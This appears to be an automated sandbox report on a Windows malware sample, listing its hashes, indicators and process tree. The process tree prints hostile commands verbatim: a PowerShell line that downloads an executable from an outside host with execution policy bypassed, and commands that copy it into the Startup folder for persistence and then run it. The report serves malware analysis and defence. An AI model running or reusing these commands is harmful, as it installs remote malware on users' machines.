9f7d7e4003c915993d80e9a126cf9f458fc65b3ee8da0617ee1ae7b6f23754ca

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26/12/2024, 17:54

Target

07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe
Size

131KB
MD5

17eb8fa4b86a2f5ec5cb789545902181
SHA1

cb40cc63b23bc335aa095606c07b56f2d2d71bb9
SHA256

07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235
SHA512

cce3789d6e5395f701c9ff10467c3352568f7a3cea13cfd55e6b6f1bade8f01a56a8c1a433940fa1ccdce201941788717f6d486cef40f59d2bac075eaf696573
SSDEEP

1536:j/tSikO5ssRyJmapXRQVO6eWkYolZPt1AUvMFMQiNwRVRky3es:xSWqLQAYolZPt1oJRfky3es

Score

1^/10

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 3004	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	31
PID 2776 wrote to memory of 3004	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	31
PID 2776 wrote to memory of 3004	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	31
PID 3004 wrote to memory of 3000	3004	cmd.exe	32
PID 3004 wrote to memory of 3000	3004	cmd.exe	32
PID 3004 wrote to memory of 3000	3004	cmd.exe	32
PID 2776 wrote to memory of 2572	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	33
PID 2776 wrote to memory of 2572	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	33
PID 2776 wrote to memory of 2572	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	33
PID 2776 wrote to memory of 1528	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	34
PID 2776 wrote to memory of 1528	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	34
PID 2776 wrote to memory of 1528	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	34
PID 2776 wrote to memory of 2692	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	35
PID 2776 wrote to memory of 2692	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	35
PID 2776 wrote to memory of 2692	2776	07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe	35

C:\Users\Admin\AppData\Local\Temp\07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe
"C:\Users\Admin\AppData\Local\Temp\07fb7b42fe8d4a2125df459efd86de0f27b91b59d82b85b530c1e7c552c9e235.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -nop -exec bypass wget -uri http://xxxs.info/kaido.exe -outfile x.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -exec bypass wget -uri http://xxxs.info/kaido.exe -outfile x.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c move x.exe "%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/"
  2⤵
  PID:2572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd "%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/" && x.exe
  2⤵
  PID:2692

memory/2776-13-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/3000-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

Filesize
4KB

Download
memory/3000-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/3000-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/3000-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/3000-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/3000-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/3000-11-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/3000-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/3000-12-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download